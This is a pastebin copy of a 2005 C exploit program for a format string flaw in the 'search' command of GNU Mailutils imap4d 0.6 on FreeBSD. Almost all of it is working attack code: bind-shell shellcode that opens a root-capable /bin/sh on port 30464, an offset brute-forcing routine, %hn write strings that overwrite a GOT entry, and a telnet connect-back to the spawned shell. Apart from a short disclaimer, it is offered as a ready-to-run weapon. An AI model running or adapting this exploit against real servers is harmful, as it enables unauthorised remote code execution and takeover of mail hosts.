View difference between Paste ID: XWS4cJEg and aTZthjn9
SHOW: | | - or go back to the newest paste.
1
=====================================================================
2
GNU Mailutils imap4d 0.6 (search) Remote Format String Exploit (fbsd)
3
=====================================================================
4
 
5
/*
6
* Copyright (c) 2005 Rosiello Security
7
* http://www.rosiello.org
8
*
9
* Permission is granted for the redistribution of this software
10
* electronically. It may not be edited in any way without the express
11
* written consent of Rosiello Security.
12
*
13
* Disclaimer: The author published the information under the condition 
14
* that is not in the intention of the reader to use them in order to bring 
15
* to himself or others a profit or to bring to others damage.
16
*
17
* --------------------------------------------------------------------------
18
*
19
* GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability
20
* iDEFENSE Security Advisory 09.09.05
21
* www.idefense.com/application/poi/display?id=303&type=vulnerabilities
22
*
23
* The GNU mailutils package is a collection of mail-related
24
* utilities, including local and remote mailbox access services.
25
* More information is available at the following site:
26
* http://www.gnu.org/software/mailutils/mailutils.html
27
*
28
* This exploit shows the possibility to run arbitrary code
29
* on FreeBSD machines.
30
*
31
* Authors: Johnny Mast and Angelo Rosiello
32
* e-mails: [email protected] [email protected]
33
*/
34
 
35
#include <netdb.h>
36
#include <sys/types.h>
37
#include <sys/socket.h>
38
#include <netinet/in.h>
39
#include <netdb.h>
40
#include <sys/types.h>
41
#include <sys/socket.h>
42
#include <arpa/inet.h>
43
 
44
#include <stdio.h>
45
#include <stdlib.h>
46
#include <unistd.h>
47
#include <stdarg.h>
48
 
49
 
50
#define ISIP(m)   (!((int)inet_addr(m) ==-1))
51
#define clean(x)  memset(x, 0 , sizeof x)
52
 
53
char code[] =
54
"\x90\x90\x90\x90"
55
"\x90\x90\x90\x90"
56
"\x90\x90\x90\x90"
57
"\x31\xc0"    /* xor %eax,%eax */
58
"\x31\xc0"    /* xor %eax,%eax */
59
"\x50"    /* push %eax */
60
"\x31\xc0"    /* xor %eax,%eax */
61
"\x50"    /* push %eax */
62
"\xb0\x7e"    /* mov $0x7e,%al */
63
"\x50"    /* push %eax */
64
"\xcd\x80"    /* int $0x80 */
65
"\x31\xc0"    /* xor %eax,%eax */
66
 
67
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
68
"\x31\xc0"                   // xorl    %eax,%eax
69
"\x31\xdb"                   // xorl    %ebx,%ebx
70
"\x31\xc9"                   // xorl    %ecx,%ecx
71
"\x31\xd2"                   // xorl    %edx,%edx
72
"\xb0\x61"                   // movb    $0x61,%al
73
"\x51"                       // pushl   %ecx 
74
"\xb1\x06"                   // movb    $0x6,%cl
75
"\x51"                       // pushl   %ecx
76
"\xb1\x01"                   // movb    $0x1,%cl   
77
"\x51"                       // pushl   %ecx
78
"\xb1\x02"                   // movb    $0x2,%cl
79
"\x51"                       // pushl   %ecx
80
"\x8d\x0c\x24"               // leal    (%esp),%ecx
81
"\x51"                       // pushl   %ecx
82
"\xcd\x80"                   // int     $0x80
83
 
84
/* it binds on port 30464 */
85
/* bind(fd, (struct sockaddr*)&sin, sizeof(sin))  */
86
"\xb1\x02"                   // movb    $0x2,%cl
87
"\x31\xc9"                   // xorl    %ecx,%ecx
88
"\x51"                       // pushl   %ecx
89
"\x51"                       // pushl   %ecx 
90
"\x51"                       // pushl   %ecx
91
 
92
/* port = 0x77, change if needed */
93
"\x80\xc1\x77"               // addb    $0x77,%cl  
94
"\x66\x51"                   // pushw   %cx
95
"\xb5\x02"                   // movb    $0x2,%ch
96
"\x66\x51"                   // pushw   %cx 
97
"\x8d\x0c\x24"               // leal    (%esp),%ecx
98
"\xb2\x10"                   // movb    $0x10,%dl  
99
"\x52"                       // pushl   %edx
100
"\x51"                       // pushl   %ecx
101
"\x50"                       // pushl   %eax
102
"\x8d\x0c\x24"               // leal    (%esp),%ecx
103
"\x51"                       // pushl   %ecx 
104
"\x89\xc2"                   // movl    %eax,%edx
105
"\x31\xc0"                   // xorl    %eax,%eax
106
"\xb0\x68"                   // movb    $0x68,%al
107
"\xcd\x80"                   // int     $0x80
108
 
109
/* listen(fd, 1)*/
110
"\xb3\x01"                   // movb    $0x1,%bl 
111
"\x53"                       // pushl   %ebx
112
"\x52"                       // pushl   %edx
113
"\x8d\x0c\x24"               // leal    (%esp),%ecx
114
"\x51"                       // pushl   %ecx
115
"\x31\xc0"                   // xorl    %eax,%eax
116
"\xb0\x6a"                   // movb    $0x6a,%al
117
"\xcd\x80"                   // int     $0x80
118
 
119
/* cli = accept(fd, 0,0) */
120
"\x31\xc0"                   // xorl    %eax,%eax  
121
"\x50"                       // pushl   %eax
122
"\x50"                       // pushl   %eax
123
"\x52"                       // pushl   %edx
124
"\x8d\x0c\x24"               // leal    (%esp),%ecx
125
"\x51"                       // pushl   %ecx
126
"\x31\xc9"                   // xorl    %ecx,%ecx
127
"\xb0\x1e"                   // movb    $0x1e,%al   
128
"\xcd\x80"                   // int     $0x80
129
 
130
/* dup2(cli,0) */
131
"\x89\xc3"                   // movl    %eax,%ebx
132
"\x53"                       // pushl   %ebx
133
"\x51"                       // pushl   %ecx
134
"\x31\xc0"                   // xorl    %eax,%eax  
135
"\xb0\x5a"                   // movb    $0x5a,%al
136
"\xcd\x80"                   // int     $0x80
137
 
138
/* dup2(cli, 1) */
139
"\x41"                       // inc     %ecx
140
"\x53"                       // pushl   %ebx
141
"\x51"                       // pushl   %ecx
142
"\x31\xc0"                   // xorl    %eax,%eax
143
"\xb0\x5a"                   // movb    $0x5a,%al
144
"\xcd\x80"                   // int     $0x80
145
 
146
/* dup2(cli, 2) */
147
"\x41"                       // inc     %ecx
148
"\x53"                       // pushl   %ebx
149
"\x51"                       // pushl   %ecx 
150
"\x31\xc0"                   // xorl    %eax,%eax
151
"\xb0\x5a"                   // movb    $0x5a,%al
152
"\xcd\x80"                   // int     $0x80
153
 
154
/* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
155
"\x31\xdb"                   // xorl    %ebx,%ebx  
156
"\x53"                       // pushl   %ebx
157
"\x68\x6e\x2f\x73\x68"       // pushl   $0x68732f6e
158
"\x68\x2f\x2f\x62\x69"       // pushl   $0x69622f2f
159
"\x89\xe3"                   // movl    %esp,%ebx
160
"\x31\xc0"                   // xorl    %eax,%eax
161
"\x50"                       // pushl   %eax
162
"\x54"                       // pushl   %esp
163
"\x53"                       // pushl   %ebx
164
"\x50"                       // pushl   %eax
165
"\xb0\x3b"                   // mov     $0x3b,%al
166
"\xcd\x80"                   // int     $0x80
167
 
168
/* exit(..)  */
169
"\x31\xc0"                   // xorl    %eax,%eax
170
"\xb0\x01"                   // mobv    $0x1,%al
171
"\xcd\x80";                  // int     $0x80
172
 
173
 
174
 
175
void usage( int argc, char **argv )
176
{
177
  
178
  fprintf(stdout, "%s usage:\n\n", argv[0]);
179
  fprintf(stdout, "\t-h host\n");
180
  fprintf(stdout, "\t-p port\n");
181
  fprintf(stdout, "\t-l login\n");
182
  fprintf(stdout, "\t-a password\n\n");
183
 
184
  return;
185
}
186
 
187
 
188
void send_message( int fd, char *msg, ... )
189
{
190
  char string[2000];
191
  int len;
192
  size_t size;
193
 
194
  va_list  args;
195
 
196
 
197
  clean(string);
198
 
199
 
200
  va_start(args, msg);
201
  len = vsnprintf(string, sizeof(string)-1, msg,args);
202
  len = (len >=0) ? len : 0;
203
 
204
  /* Terminating the string */
205
  string[len]='\0';
206
 
207
  write(fd, string, len);
208
 
209
  return;
210
}
211
 
212
 
213
 
214
 
215
 
216
char *buildstring( long r_addr, long target, int offset, int sock )
217
{
218
  unsigned char string[512], a[4];
219
  int len;
220
  int high, low, arw;
221
 
222
 
223
 
224
  high = ( target & 0xffff0000 ) >> 16;
225
  low =  ( target & 0x0000ffff );
226
 
227
  clean(a); 
228
  a[0] = (r_addr >> 24) & 0xff;
229
  a[1] = (r_addr >> 16) & 0xff;
230
  a[2] = (r_addr >> 8) & 0xff;
231
  a[3] = (r_addr) & 0xff;
232
  a[4] = '\0';
233
 
234
  clean(string); 
235
  len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn\n",
236
        (int)a[3]+2,a[2],a[1],a[0],
237
        high -(0x24+13),        /* Number of bytes for the first write */
238
        offset  /* The Offset to addr */
239
        );
240
 
241
  len = (len >=0) ? len : 0;
242
  string[len] = '\0';
243
  write(sock, string, len);
244
 
245
  read(sock, string, sizeof(string));
246
 
247
 
248
  clean(string);
249
  len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%s\n",
250
       (int) a[3], (int)a[2], (int)a[1],(int)a[0],
251
        low - (0x24 +13),
252
        offset,          /* The offset to addr +2 */
253
        code
254
        );
255
 
256
  len = (len >=0) ? len : 0;
257
  string[len] = '\0';
258
  write(sock, string, len);
259
 
260
 
261
  return (char *)strdup(string);        
262
}
263
 
264
 
265
void get_addr_as_char( u_int addr, char *buf ) 
266
{
267
  *(u_int*)buf = addr;
268
  if (!buf[0]) buf[0]++;
269
  if (!buf[1]) buf[1]++;
270
  if (!buf[2]) buf[2]++;
271
  if (!buf[3]) buf[3]++;
272
}
273
 
274
static int got_entry = 0x08057a0c+4;
275
 
276
 
277
int comun( char *host, struct sockaddr_in sin4 )
278
{
279
  char *a[4] = { "/usr/bin/telnet", host , "30464", NULL };
280
  execve(a[0],a, NULL);
281
  return 0;
282
}
283
 
284
void welcome( )
285
{
286
  fprintf( stdout, "\nCopyright (c) 2005 Rosiello Security\n" );
287
  fprintf( stdout, "http://www.rosiello.org\n" );
288
  fprintf( stdout, "imap4d Format String Exploiter for FreeBSD\n\n" );
289
}
290
 
291
int main( int argc, char **argv )
292
{
293
  struct  hostent    *hp;
294
  struct sockaddr_in sin4;
295
  char shellbuf[1030];
296
  char *host, buffer[512], *ptr, *p, *USER, *PASS;
297
  int ch, port = 0, sock, offset = 1;
298
  int login  = 0, i, calc = 0;
299
  int ret = 0, len  = 0, b;
300
  int have_shell_loc = 0;
301
  unsigned int shell_addr = (u_int)0x0806c000;
302
 
303
  welcome( );
304
 
305
  if ( argc < 9 )
306
  { 
307
    usage(argc, argv);
308
    exit(EXIT_SUCCESS);
309
  }
310
 
311
  if (!(host = malloc (128)))
312
  {
313
    fprintf(stderr, "exp.c:115 Could not allocate memory\n");
314
    exit(EXIT_FAILURE);
315
  }
316
 
317
 
318
  while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF) 
319
  {
320
   switch(ch) 
321
   {
322
      case 'h':
323
      host = (char *)strdup(optarg);
324
      break;
325
 
326
      case 'V':
327
      break;
328
 
329
      case 'p':
330
      port =  atoi (optarg);
331
      break;
332
  
333
      case 'l':
334
      USER = (char *)optarg;
335
      break;
336
 
337
      case 'a':
338
      PASS = (char *)optarg;
339
      break;
340
 
341
      default:
342
      usage(argc, argv);
343
      break;
344
 }      
345
}
346
 
347
 
348
  
349
  if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
350
  {
351
    fprintf(stderr, "exp.c:139 Error creating an new socket"); 
352
    exit(EXIT_FAILURE);
353
  }
354
 
355
  host = (host) ? host : "localhost";
356
  port = (port) ? port : 143;
357
 
358
  if (!(ISIP(host)))
359
  {
360
     if (!(hp = gethostbyname(host)))
361
     {
362
       fprintf(stderr, "exp.c:152 Could not resolve ip address\n");     
363
       exit(EXIT_FAILURE);
364
     } 
365
 
366
     memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length);
367
     host = (char *)strdup(inet_ntoa(sin4.sin_addr)); 
368
  } else 
369
    sin4.sin_addr.s_addr = inet_addr(host);
370
 
371
  
372
 
373
 
374
  sin4.sin_family = AF_INET;
375
  sin4.sin_port = (unsigned short)htons( port );
376
 
377
  fprintf(stdout, "[+] Connecting to %s:%d\n", host,port);
378
 
379
  if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) < 0)
380
  { 
381
     fprintf(stderr, "[*] exp.c:178 Connection failed\n");
382
     exit(EXIT_FAILURE);
383
  }
384
 
385
 
386
  fprintf(stdout, "[+] Connected .. \n");
387
  fprintf(stdout, "[+] Sending login ... \n");
388
 
389
  send_message(sock, "1 LOGIN %s %s\r\n", USER, PASS);
390
  fprintf(stdout, "[+] Done ... \n");
391
 
392
  while ((read(sock, buffer, 512)) > 0)
393
  {
394
    if ( login == 0  && ret == 0)
395
    switch (buffer[0])
396
    {
397
 
398
     case '1':
399
     fprintf(stdout, "[+] Selecting inbox ..\n");
400
     send_message(sock, "2 Select inbox\n");
401
     fprintf(stdout, "[+] Selecting Done .. Starting brute sequence\n");
402
     send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
403
     login = 1;
404
     break;
405
    }
406
 
407
 
408
    if ((ptr=strstr(buffer, "(near")) && login == 1)
409
    {
410
      ptr +=15;
411
      if ((strncmp(ptr, "41414141",8))!=0) 
412
      {
413
        offset ++;
414
        send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset);
415
      }
416
      else 
417
      {
418
        fprintf(stdout, "[+] Found offset %d\n", offset);
419
        fprintf(stdout, "[+] Finding buffer on the stack\n");
420
        ret = 1;
421
        login = 0;
422
        clean(buffer);
423
      }
424
    } 
425
 
426
    if ( ret == 1 )
427
    {
428
         
429
      if ((ptr=strstr(buffer, "(near"))) 
430
      {
431
        ptr +=6+4 +1; /* +4 for the addr string*/
432
        /* +1 for the junk char */
433
        calc = strlen(buffer) - strlen(ptr);
434
        calc -=6+4+1;   
435
         
436
        for (i = 0; i < strlen(buffer); i++) 
437
        {  
438
           if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc !=1)
439
           {
440
             shell_addr += i -4;
441
             have_shell_loc = 1;
442
             sleep(2);
443
             buildstring(got_entry, shell_addr+=3, offset, sock);
444
             fprintf(stdout,"[+] Decoy found at %p\n", shell_addr);
445
             close(sock);
446
             fprintf(stdout, "[+] Trying to contact the bind shell ..\n");
447
             if((comun(host, sin4)) < 0)
448
               fprintf(stderr, "[-] Exploit failed\n");
449
           } 
450
           else
451
             ++ptr;
452
        } 
453
      }      
454
      if( shell_addr > 0xc0000000)
455
        break;
456
      shell_addr++;
457
      ptr = ((char *)&shell_addr);
458
      ptr[4] = 0;
459
      if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00) 
460
      {
461
        shell_addr ++;
462
        ptr = ((char *)&shell_addr);
463
        ptr[4] = 0;
464
      } 
465
      while (strlen(ptr) !=4)
466
      {
467
        shell_addr++;
468
        ptr = ((char *)&shell_addr);
469
        ptr[4] = 0;
470
      }
471
      if (have_shell_loc != 1)
472
      {
473
        send_message(sock, "3 search topic .%s....%%%d$s%sCCCC\n",ptr,offset,code);
474
      }
475
    }
476
    clean(buffer);
477
  }
478
 
479
  fprintf(stderr, "[+] Closing connection\n");
480
  close(sock);
481
  free(host);
482
 
483
  fprintf(stderr, "[-] Exploit failed %p\n", shell_addr);
484
  return 0;
485
}
486
 
487
 
488
# 6946D00F31938B89   1337day.com [2014-09-08]   F4045BD3BFDF4B4C #